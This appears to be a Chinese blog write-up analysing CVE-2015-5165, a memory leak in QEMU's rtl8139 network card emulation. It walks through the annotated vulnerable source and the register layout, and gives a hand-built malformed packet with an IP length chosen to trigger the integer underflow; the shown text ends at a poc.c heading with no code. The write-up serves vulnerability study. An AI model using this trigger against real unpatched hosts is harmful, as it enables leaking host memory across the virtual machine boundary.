CVE-2015-5156调试分析

CVE-2015-5165

前置知识

复现的第一个CVE,回过头来觉得还是要学习一下相关设备和协议的基础知识。

搭建环境

编译qemu时遇到的一些问题及解决方案:

image-20200722180611569

https://blog.csdn.net/nancygreen/article/details/12261601

image-20200722181418326

https://blog.51cto.com/mltyrone/1833903

对应版本的rtl8139.c源码:https://github.com/qemu/qemu/blob/bd80b5963f58c601f31d3186b89887bf8e182fb5/hw/net/rtl8139.c

内核镜像和qemu.img可以对照着这篇文章获取

http://jiayy.me/2019/04/15/CVE-2015-5165-7504/

可以从此网站获取到各个版本的linux kernel源码,包括RC预览版本:https://github.com/torvalds/linux

此网站可用wget直接获取,但貌似无RC版本:https://cdn.kernel.org/pub/linux/kernel/

漏洞分析

出在rtl8139_cplus_transmit_one函数中,有个整数溢出的漏洞:
原理我用自己画的一幅图配合代码感觉比较容易理解:

image-20200729122432273

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
static int rtl8139_cplus_transmit_one(RTL8139State *s)
{
if (!rtl8139_transmitter_enabled(s))
{
DPRINTF("+++ C+ mode: transmitter disabled\n");
return 0;
}

if (!rtl8139_cp_transmitter_enabled(s))
{
DPRINTF("+++ C+ mode: C+ transmitter disabled\n");
return 0 ;
}

PCIDevice *d = PCI_DEVICE(s);
int descriptor = s->currCPlusTxDesc;

dma_addr_t cplus_tx_ring_desc = rtl8139_addr64(s->TxAddr[0], s->TxAddr[1]);

/* Normal priority ring */
cplus_tx_ring_desc += 16 * descriptor;

DPRINTF("+++ C+ mode reading TX descriptor %d from host memory at "
"%08x %08x = 0x"DMA_ADDR_FMT"\n", descriptor, s->TxAddr[1],
s->TxAddr[0], cplus_tx_ring_desc);

uint32_t val, txdw0,txdw1,txbufLO,txbufHI;

pci_dma_read(d, cplus_tx_ring_desc, (uint8_t *)&val, 4);
txdw0 = le32_to_cpu(val);
pci_dma_read(d, cplus_tx_ring_desc+4, (uint8_t *)&val, 4);
txdw1 = le32_to_cpu(val);
pci_dma_read(d, cplus_tx_ring_desc+8, (uint8_t *)&val, 4);
txbufLO = le32_to_cpu(val);
pci_dma_read(d, cplus_tx_ring_desc+12, (uint8_t *)&val, 4);
txbufHI = le32_to_cpu(val);

DPRINTF("+++ C+ mode TX descriptor %d %08x %08x %08x %08x\n", descriptor,
txdw0, txdw1, txbufLO, txbufHI);

/* w0 ownership flag */
#define CP_TX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_TX_EOR (1<<30)
/* first segment of received packet flag */
#define CP_TX_FS (1<<29)
/* last segment of received packet flag */
#define CP_TX_LS (1<<28)
/* large send packet flag */
#define CP_TX_LGSEN (1<<27)
/* large send MSS mask, bits 16...25 */
#define CP_TC_LGSEN_MSS_MASK ((1 << 12) - 1)

/* IP checksum offload flag */
#define CP_TX_IPCS (1<<18)
/* UDP checksum offload flag */
#define CP_TX_UDPCS (1<<17)
/* TCP checksum offload flag */
#define CP_TX_TCPCS (1<<16)

/* w0 bits 0...15 : buffer size */
#define CP_TX_BUFFER_SIZE (1<<16)
#define CP_TX_BUFFER_SIZE_MASK (CP_TX_BUFFER_SIZE - 1)
/* w1 add tag flag */
#define CP_TX_TAGC (1<<17)
/* w1 bits 0...15 : VLAN tag (big endian) */
#define CP_TX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low 32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */

/* set after transmission */
/* FIFO underrun flag */
#define CP_TX_STATUS_UNF (1<<25)
/* transmit error summary flag, valid if set any of three below */
#define CP_TX_STATUS_TES (1<<23)
/* out-of-window collision flag */
#define CP_TX_STATUS_OWC (1<<22)
/* link failure flag */
#define CP_TX_STATUS_LNKF (1<<21)
/* excessive collisions flag */
#define CP_TX_STATUS_EXC (1<<20)

if (!(txdw0 & CP_TX_OWN))
{
DPRINTF("C+ Tx mode : descriptor %d is owned by host\n", descriptor);
return 0 ;
}

DPRINTF("+++ C+ Tx mode : transmitting from descriptor %d\n", descriptor);

if (txdw0 & CP_TX_FS)
{
DPRINTF("+++ C+ Tx mode : descriptor %d is first segment "
"descriptor\n", descriptor);

/* reset internal buffer offset */
s->cplus_txbuffer_offset = 0;
}

int txsize = txdw0 & CP_TX_BUFFER_SIZE_MASK;
dma_addr_t tx_addr = rtl8139_addr64(txbufLO, txbufHI);

/* make sure we have enough space to assemble the packet */
if (!s->cplus_txbuffer)
{
s->cplus_txbuffer_len = CP_TX_BUFFER_SIZE;
s->cplus_txbuffer = g_malloc(s->cplus_txbuffer_len);
s->cplus_txbuffer_offset = 0;

DPRINTF("+++ C+ mode transmission buffer allocated space %d\n",
s->cplus_txbuffer_len);
}

if (s->cplus_txbuffer_offset + txsize >= s->cplus_txbuffer_len)
{
/* The spec didn't tell the maximum size, stick to CP_TX_BUFFER_SIZE */
txsize = s->cplus_txbuffer_len - s->cplus_txbuffer_offset;
DPRINTF("+++ C+ mode transmission buffer overrun, truncated descriptor"
"length to %d\n", txsize);
}

/* append more data to the packet */

DPRINTF("+++ C+ mode transmit reading %d bytes from host memory at "
DMA_ADDR_FMT" to offset %d\n", txsize, tx_addr,
s->cplus_txbuffer_offset);

pci_dma_read(d, tx_addr,
s->cplus_txbuffer + s->cplus_txbuffer_offset, txsize);
s->cplus_txbuffer_offset += txsize;

/* seek to next Rx descriptor */
if (txdw0 & CP_TX_EOR)
{
s->currCPlusTxDesc = 0;
}
else
{
++s->currCPlusTxDesc;
if (s->currCPlusTxDesc >= 64)
s->currCPlusTxDesc = 0;
}

/* transfer ownership to target */
txdw0 &= ~CP_RX_OWN;

/* reset error indicator bits */
txdw0 &= ~CP_TX_STATUS_UNF;
txdw0 &= ~CP_TX_STATUS_TES;
txdw0 &= ~CP_TX_STATUS_OWC;
txdw0 &= ~CP_TX_STATUS_LNKF;
txdw0 &= ~CP_TX_STATUS_EXC;

/* update ring data */
val = cpu_to_le32(txdw0);
pci_dma_write(d, cplus_tx_ring_desc, (uint8_t *)&val, 4);

/* Now decide if descriptor being processed is holding the last segment of packet */
if (txdw0 & CP_TX_LS)
{
uint8_t dot1q_buffer_space[VLAN_HLEN];
uint16_t *dot1q_buffer;

DPRINTF("+++ C+ Tx mode : descriptor %d is last segment descriptor\n",
descriptor);

/* can transfer fully assembled packet */

uint8_t *saved_buffer = s->cplus_txbuffer; //获取s中存储的发送数据缓冲区起始地址
int saved_size = s->cplus_txbuffer_offset;
int saved_buffer_len = s->cplus_txbuffer_len;

/* create vlan tag */
if (txdw1 & CP_TX_TAGC) {
/* the vlan tag is in BE byte order in the descriptor
* BE + le_to_cpu() + ~swap()~ = cpu */
DPRINTF("+++ C+ Tx mode : inserting vlan tag with ""tci: %u\n",
bswap16(txdw1 & CP_TX_VLAN_TAG_MASK));

dot1q_buffer = (uint16_t *) dot1q_buffer_space;
dot1q_buffer[0] = cpu_to_be16(ETH_P_8021Q);
/* BE + le_to_cpu() + ~cpu_to_le()~ = BE */
dot1q_buffer[1] = cpu_to_le16(txdw1 & CP_TX_VLAN_TAG_MASK);
} else {
dot1q_buffer = NULL;
}

/* reset the card space to protect from recursive call */
s->cplus_txbuffer = NULL;
s->cplus_txbuffer_offset = 0;
s->cplus_txbuffer_len = 0;

if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
{
DPRINTF("+++ C+ mode offloaded task checksum\n");

/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;

uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;

int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12)); //proto = saved_buffer + 12
if (proto == ETH_P_IP)
{
DPRINTF("+++ C+ mode has IP packet\n");

/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN; //eth_payload_data = saved_buffer + 14
eth_payload_len = saved_size - ETH_HLEN;

ip = (ip_header*)eth_payload_data; //获取ip包起始地址: ip = eth_payload_data

if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len = be16_to_cpu(ip->ip_len) - hlen; //溢出点,之后ip_data_len会传给tcp_data_len
}
}
//开始处理tcp包
if (ip)
{
if (txdw0 & CP_TX_IPCS)
{
DPRINTF("+++ C+ mode need IP checksum\n");

if (hlen<sizeof(ip_header) || hlen>eth_payload_len) {/* min header length */
/* bad packet header len */
/* or packet too short */
}
else
{
ip->ip_sum = 0;
ip->ip_sum = ip_checksum(ip, hlen);
DPRINTF("+++ C+ mode IP header len=%d checksum=%04x\n",
hlen, ip->ip_sum);
}
}

if ((txdw0 & CP_TX_LGSEN) && ip_protocol == IP_PROTO_TCP)
{
int large_send_mss = (txdw0 >> 16) & CP_TC_LGSEN_MSS_MASK;

DPRINTF("+++ C+ mode offloaded task TSO MTU=%d IP data %d "
"frame data %d specified MSS=%d\n", ETH_MTU,
ip_data_len, saved_size - ETH_HLEN, large_send_mss);

int tcp_send_offset = 0;
int send_count = 0;

/* maximum IP header length is 60 bytes */
uint8_t saved_ip_header[60];

/* save IP header template; data area is used in tcp checksum calculation */
memcpy(saved_ip_header, eth_payload_data, hlen);

/* a placeholder for checksum calculation routine in tcp case */
uint8_t *data_to_checksum = eth_payload_data + hlen - 12;
// size_t data_to_checksum_len = eth_payload_len - hlen + 12;

/* pointer to TCP header */
tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);

int tcp_hlen = TCP_HEADER_DATA_OFFSET(p_tcp_hdr);

/* ETH_MTU = ip header len + tcp header len + payload */
int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

DPRINTF("+++ C+ mode TSO IP data len %d TCP hlen %d TCP "
"data len %d TCP chunk size %d\n", ip_data_len,
tcp_hlen, tcp_data_len, tcp_chunk_size);

/* note the cycle below overwrites IP header data,
but restores it from saved_ip_header before sending packet */

int is_last_frame = 0;

for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)
{
uint16_t chunk_size = tcp_chunk_size;

/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
{
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}

DPRINTF("+++ C+ mode TSO TCP seqno %08x\n",
be32_to_cpu(p_tcp_hdr->th_seq));

/* add 4 TCP pseudoheader fields */
/* copy IP source and destination fields */
memcpy(data_to_checksum, saved_ip_header + 12, 8);

DPRINTF("+++ C+ mode TSO calculating TCP checksum for "
"packet with %d bytes data\n", tcp_hlen +
chunk_size);

if (tcp_send_offset)
{
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size); //数据越界泄露点
}

/* keep PUSH and FIN flags only for the last frame */
if (!is_last_frame)
{
TCP_HEADER_CLEAR_FLAGS(p_tcp_hdr, TCP_FLAG_PUSH|TCP_FLAG_FIN);
}

/* recalculate TCP checksum */
ip_pseudo_header *p_tcpip_hdr = (ip_pseudo_header *)data_to_checksum;
p_tcpip_hdr->zeros = 0;
p_tcpip_hdr->ip_proto = IP_PROTO_TCP;
p_tcpip_hdr->ip_payload = cpu_to_be16(tcp_hlen + chunk_size);

p_tcp_hdr->th_sum = 0;

int tcp_checksum = ip_checksum(data_to_checksum, tcp_hlen + chunk_size + 12);
DPRINTF("+++ C+ mode TSO TCP checksum %04x\n",
tcp_checksum);

p_tcp_hdr->th_sum = tcp_checksum;

/* restore IP header */
memcpy(eth_payload_data, saved_ip_header, hlen);

/* set IP data length and recalculate IP checksum */
ip->ip_len = cpu_to_be16(hlen + tcp_hlen + chunk_size);

/* increment IP id for subsequent frames */
ip->ip_id = cpu_to_be16(tcp_send_offset/tcp_chunk_size + be16_to_cpu(ip->ip_id));

ip->ip_sum = 0;
ip->ip_sum = ip_checksum(eth_payload_data, hlen);
DPRINTF("+++ C+ mode TSO IP header len=%d "
"checksum=%04x\n", hlen, ip->ip_sum);

int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
DPRINTF("+++ C+ mode TSO transferring packet size "
"%d\n", tso_send_size);
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer); //将数据发送出去

/* add transferred count to TCP sequence number */
p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
++send_count;
}

/* Stop sending this frame */
saved_size = 0;
}
else if (txdw0 & (CP_TX_TCPCS|CP_TX_UDPCS))
{
...
}
...
}

继续看rtl8139_transfer_frame函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
int do_interrupt, const uint8_t *dot1q_buf)
{
struct iovec *iov = NULL;
struct iovec vlan_iov[3];

if (!size)
{
DPRINTF("+++ empty ethernet frame\n");
return;
}

if (dot1q_buf && size >= ETHER_ADDR_LEN * 2) {
iov = (struct iovec[3]) {
{ .iov_base = buf, .iov_len = ETHER_ADDR_LEN * 2 },
{ .iov_base = (void *) dot1q_buf, .iov_len = VLAN_HLEN },
{ .iov_base = buf + ETHER_ADDR_LEN * 2,
.iov_len = size - ETHER_ADDR_LEN * 2 },
};

memcpy(vlan_iov, iov, sizeof(vlan_iov));
iov = vlan_iov;
}

if (TxLoopBack == (s->TxConfig & TxLoopBack))//需要设置TxConfig中的TxLoopBack标志位
{
size_t buf2_size;
uint8_t *buf2;

if (iov) {
buf2_size = iov_size(iov, 3);
buf2 = g_malloc(buf2_size);
iov_to_buf(iov, 3, 0, buf2, buf2_size);
buf = buf2;
}

DPRINTF("+++ transmit loopback mode\n");
rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);//发送回给自己的网卡

if (iov) {
g_free(buf2);
}
}
else
{
if (iov) {
qemu_sendv_packet(qemu_get_queue(s->nic), iov, 3);
} else {
qemu_send_packet(qemu_get_queue(s->nic), buf, size); //否则正常发送出去
}
}
}

继续分析rtl8139_do_receive

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
static ssize_t rtl8139_do_receive(NetClientState *nc, const uint8_t *buf, size_t size_, int do_interrupt)
{
RTL8139State *s = qemu_get_nic_opaque(nc);
PCIDevice *d = PCI_DEVICE(s);
/* size is the length of the buffer passed to the driver */
int size = size_;
const uint8_t *dot1q_buf = NULL;

uint32_t packet_header = 0;

uint8_t buf1[MIN_BUF_SIZE + VLAN_HLEN];
static const uint8_t broadcast_macaddr[6] =
{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };

DPRINTF(">>> received len=%d\n", size);

/* test if board clock is stopped */
if (!s->clock_enabled)
{
DPRINTF("stopped ==========================\n");
return -1;
}

/* first check if receiver is enabled */

if (!rtl8139_receiver_enabled(s))
{
DPRINTF("receiver disabled ================\n");
return -1;
}

/* XXX: check this */
if (s->RxConfig & AcceptAllPhys) { //s->RxConfig不设置AcceptAllPhys自动绕过
/* promiscuous: receive all */
DPRINTF(">>> packet received in promiscuous mode\n");

} else {
if (!memcmp(buf, broadcast_macaddr, 6)) {
/* broadcast address */
if (!(s->RxConfig & AcceptBroadcast))
{
DPRINTF(">>> broadcast packet rejected\n");

/* update tally counter */
++s->tally_counters.RxERR;

return size;
}

packet_header |= RxBroadcast;

DPRINTF(">>> broadcast packet received\n");

/* update tally counter */
++s->tally_counters.RxOkBrd;

} else if (buf[0] & 0x01) {
/* multicast */
if (!(s->RxConfig & AcceptMulticast))
{
DPRINTF(">>> multicast packet rejected\n");

/* update tally counter */
++s->tally_counters.RxERR;

return size;
}

int mcast_idx = compute_mcast_idx(buf);

if (!(s->mult[mcast_idx >> 3] & (1 << (mcast_idx & 7))))
{
DPRINTF(">>> multicast address mismatch\n");

/* update tally counter */
++s->tally_counters.RxERR;

return size;
}

packet_header |= RxMulticast;

DPRINTF(">>> multicast packet received\n");

/* update tally counter */
++s->tally_counters.RxOkMul;

} else if (s->phys[0] == buf[0] &&
s->phys[1] == buf[1] &&
s->phys[2] == buf[2] &&
s->phys[3] == buf[3] &&
s->phys[4] == buf[4] &&
s->phys[5] == buf[5]) { //mac地址需要匹配上
/* match */
if (!(s->RxConfig & AcceptMyPhys)) //s->RxConfig需要设置AcceptMyPhys绕过
{
DPRINTF(">>> rejecting physical address matching packet\n");

/* update tally counter */
++s->tally_counters.RxERR;

return size;
}

packet_header |= RxPhysical;

DPRINTF(">>> physical address matching packet received\n");

/* update tally counter */
++s->tally_counters.RxOkPhy;

} else {

DPRINTF(">>> unknown packet\n");

/* update tally counter */
++s->tally_counters.RxERR;

return size;
}
}

/* if too small buffer, then expand it
* Include some tailroom in case a vlan tag is later removed. */
if (size < MIN_BUF_SIZE + VLAN_HLEN) {
memcpy(buf1, buf, size);
memset(buf1 + size, 0, MIN_BUF_SIZE + VLAN_HLEN - size);
buf = buf1;
if (size < MIN_BUF_SIZE) {
size = MIN_BUF_SIZE;
}
}

if (rtl8139_cp_receiver_enabled(s))
{
if (!rtl8139_cp_rx_valid(s)) {
return size;
}

DPRINTF("in C+ Rx mode ================\n");

/* begin C+ receiver mode */

/* w0 ownership flag */
#define CP_RX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_RX_EOR (1<<30)
/* w0 bits 0...12 : buffer size */
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)
/* w1 tag available flag */
#define CP_RX_TAVA (1<<16)
/* w1 bits 0...15 : VLAN tag */
#define CP_RX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low 32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */

int descriptor = s->currCPlusRxDesc;
dma_addr_t cplus_rx_ring_desc;

cplus_rx_ring_desc = rtl8139_addr64(s->RxRingAddrLO, s->RxRingAddrHI);
cplus_rx_ring_desc += 16 * descriptor;

DPRINTF("+++ C+ mode reading RX descriptor %d from host memory at "
"%08x %08x = "DMA_ADDR_FMT"\n", descriptor, s->RxRingAddrHI,
s->RxRingAddrLO, cplus_rx_ring_desc);

uint32_t val, rxdw0,rxdw1,rxbufLO,rxbufHI;

pci_dma_read(d, cplus_rx_ring_desc, &val, 4);
rxdw0 = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+4, &val, 4);
rxdw1 = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+8, &val, 4);
rxbufLO = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+12, &val, 4);
rxbufHI = le32_to_cpu(val);

DPRINTF("+++ C+ mode RX descriptor %d %08x %08x %08x %08x\n",
descriptor, rxdw0, rxdw1, rxbufLO, rxbufHI);

if (!(rxdw0 & CP_RX_OWN)) //Rx desc的dw0位需要设置CP_RX_OWN绕过
{
DPRINTF("C+ Rx mode : descriptor %d is owned by host\n",
descriptor);

s->IntrStatus |= RxOverflow;
++s->RxMissed;

/* update tally counter */
++s->tally_counters.RxERR;
++s->tally_counters.MissPkt;

rtl8139_update_irq(s);
return size_;
}

uint32_t rx_space = rxdw0 & CP_RX_BUFFER_SIZE_MASK;

/* write VLAN info to descriptor variables. */
if (s->CpCmd & CPlusRxVLAN && be16_to_cpup((uint16_t *) //s->CpCmd不设置CPlusRxVLAN自动绕过
&buf[ETHER_ADDR_LEN * 2]) == ETH_P_8021Q) {
dot1q_buf = &buf[ETHER_ADDR_LEN * 2];
size -= VLAN_HLEN;
/* if too small buffer, use the tailroom added duing expansion */
if (size < MIN_BUF_SIZE) {
size = MIN_BUF_SIZE;
}

rxdw1 &= ~CP_RX_VLAN_TAG_MASK;
/* BE + ~le_to_cpu()~ + cpu_to_le() = BE */
rxdw1 |= CP_RX_TAVA | le16_to_cpup((uint16_t *)
&dot1q_buf[ETHER_TYPE_LEN]);

DPRINTF("C+ Rx mode : extracted vlan tag with tci: ""%u\n",
be16_to_cpup((uint16_t *)&dot1q_buf[ETHER_TYPE_LEN]));
} else {
/* reset VLAN tag flag */
rxdw1 &= ~CP_RX_TAVA;
}

/* TODO: scatter the packet over available receive ring descriptors space */

if (size+4 > rx_space)
{
DPRINTF("C+ Rx mode : descriptor %d size %d received %d + 4\n",
descriptor, rx_space, size);

s->IntrStatus |= RxOverflow;
++s->RxMissed;

/* update tally counter */
++s->tally_counters.RxERR;
++s->tally_counters.MissPkt;

rtl8139_update_irq(s);
return size_;
}

dma_addr_t rx_addr = rtl8139_addr64(rxbufLO, rxbufHI);

/* receive/copy to target memory */
if (dot1q_buf) { //前面的限制都绕过,dot1q_buf默认为NULL
pci_dma_write(d, rx_addr, buf, 2 * ETHER_ADDR_LEN);
pci_dma_write(d, rx_addr + 2 * ETHER_ADDR_LEN,
buf + 2 * ETHER_ADDR_LEN + VLAN_HLEN,
size - 2 * ETHER_ADDR_LEN);
} else {
pci_dma_write(d, rx_addr, buf, size); //我们需要到达这里,会把数据发给rx_addr
}
...
}

重要寄存器的偏移与作用说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
        +---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+
  • TxConfig: Enable/disable Tx flags such as TxLoopBack (enable loopback
    test mode), TxCRC (do not append CRC to Tx Packets), etc.
  • RxConfig: Enable/disable Rx flags such as AcceptBroadcast (accept
    broadcast packets), AcceptMulticast (accept multicast packets), etc.
  • CpCmd: C+ command register used to enable some functions such as
    CplusRxEnd (enable receive), CplusTxEnd (enable transmit), etc.
  • TxAddr0: Physical memory address of Tx descriptors table.
  • RxRingAddrLO: Low 32-bits physical memory address of Rx descriptors
    table.
  • RxRingAddrHI: High 32-bits physical memory address of Rx descriptors
    table.
  • TxPoll: Tell the card to check Tx descriptors. => 将Tx descriptors缓冲区中的数据包发送出去。

A Rx/Tx-descriptor is defined by the following structure where buf_lo and
buf_hi are low 32 bits and high 32 bits physical memory address of Tx/Rx
buffers, respectively. These addresses point to buffers holding packets to
be sent/received and must be aligned on page size boundary. The variable
dw0 encodes the size of the buffer plus additional flags such as the
ownership flag to denote if the buffer is owned by the card or the driver.

关于rtl8139_ringrtl8139_desc这两个重要结构体,他们在源码中并未定义,而是栈中的临时变量:

image-20200729121023425

phrack把他们提取了出来,方便我们构造:

1
2
3
4
5
6
7
8
9
10
11
struct rtl8139_ring {
struct rtl8139_desc *desc;
void *buffer;
};

struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

调试与poc

image-20200729114954221

gdb attach失败,尝试用sudo,若仍然失败,可以尝试更新gdb

1
2
3
4
5
6
7
wget http://ftp.gnu.org/gnu/gdb/gdb-9.2.tar.xz
tar -xf gdb-9.2.tar.xz && cd gdb-9.2/
mkdir build && cd build
../configure
make
sudo cp /usr/bin/gdb /usr/bin/gdb.bak
sudo cp ./gdb/gdb /usr/bin/gdb

qemu可用poweroff命令完全退出,用exit会退出表层但是它会继续让你login

出现pc.ram的错误时:

https://my.oschina.net/u/4300698/blog/3382351

关于如何将poc/exp传送进虚拟机中:

  1. 直接在虚拟机里面用nano编辑mypoc.c,将内容复制进去之后用gcc编译运行。
  2. 启动脚本中添加-net user,hostfwd=tcp::9999-:22 -net nic,编译好mypoc之后,在之前制作img的那个文件夹里运行scp -i ./ssh/id_rsa -P 9999 ./mypoc root@localhost:~/,然后进入qemu虚拟机在~目录下运行poc

函数调用链:rtl8139_ioport_write=>rtl8139_io_writeb=>rtl8139_cplus_transmit=>rtl8139_cplus_transmit_one

rtl8139_io_writeb函数中,当addr == TxPoll并且val == 1<<6时触发漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)
{
RTL8139State *s = opaque;

switch (addr)
{
....

case TxPoll:
DPRINTF("C+ TxPoll write(b) val=0x%02x\n", val);
if (val & (1 << 7))
{
DPRINTF("C+ TxPoll high priority transmission (not "
"implemented)\n");
//rtl8139_cplus_transmit(s);
}
if (val & (1 << 6))
{
DPRINTF("C+ TxPoll normal priority transmission\n");
rtl8139_cplus_transmit(s);
}

break;

default:
DPRINTF("not implemented write(b) addr=0x%x val=0x%02x\n", addr,
val);
break;
}
}

关于数据链路层帧的构造:

eth

ip_packet

tcp_packet

构造结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
uint8_t rtl8139_packet[] = 
{
// Ethernet Frame Header 数据
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // DST MAC 52:54:00:12:34:56
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // SRC MAC 52:54:00:12:34:56
0x08, 0x00, // Length / Type: IPv4

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 4bits version = 0x4x | 4bits hlen =0xx5 => 0x05 * 4 = 20 bytes
0x00, // 8bit TOS
0x00, 0x13, // 16bits Total Length = 0x13 = 19 bytes,19-20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // 16bits Identification
0x40, 0x00, // 3bits Flags & 13bits Fragment Offset
0x40, // 8bits TTL
0x06, // 8bits Protocol:TCP
0xde, 0xad, // 16bits Header checksum
0x7f, 0x00, 0x00, 0x01, // 32bits Source IP:127.0.0.1
0x7f, 0x00, 0x00, 0x01, // 32bits Destination IP:127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // 16bits Source Port
0xbe, 0xef, // 16bits Destination Port
0x00, 0x00, 0x00, 0x00, // 32bits Sequence Number
0x00, 0x00, 0x00, 0x00, // 32bits Acknowledgement Number
0x50, // 01010000, 4bits Header Length = 5*4 = 20 && 4bits null
0x10, // 00010000, 2bits null && 2bits URG ACK PSH RST SYN FIN
0xde, 0xad, // 16bits Window Size
0xde, 0xad, // 16bits TCP checksum
0x00, 0x00 // 16bits Urgent Pointer
};

这里需要提一点是DST MAC我们在后面必须要和Rx网卡的MAC地址一样才能绕过限制,这里得根据具体情况来看,有的师傅最后一位是是0x57(enp0s4),有的师傅是0x56(enp0s3),我自己是0x56

poc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
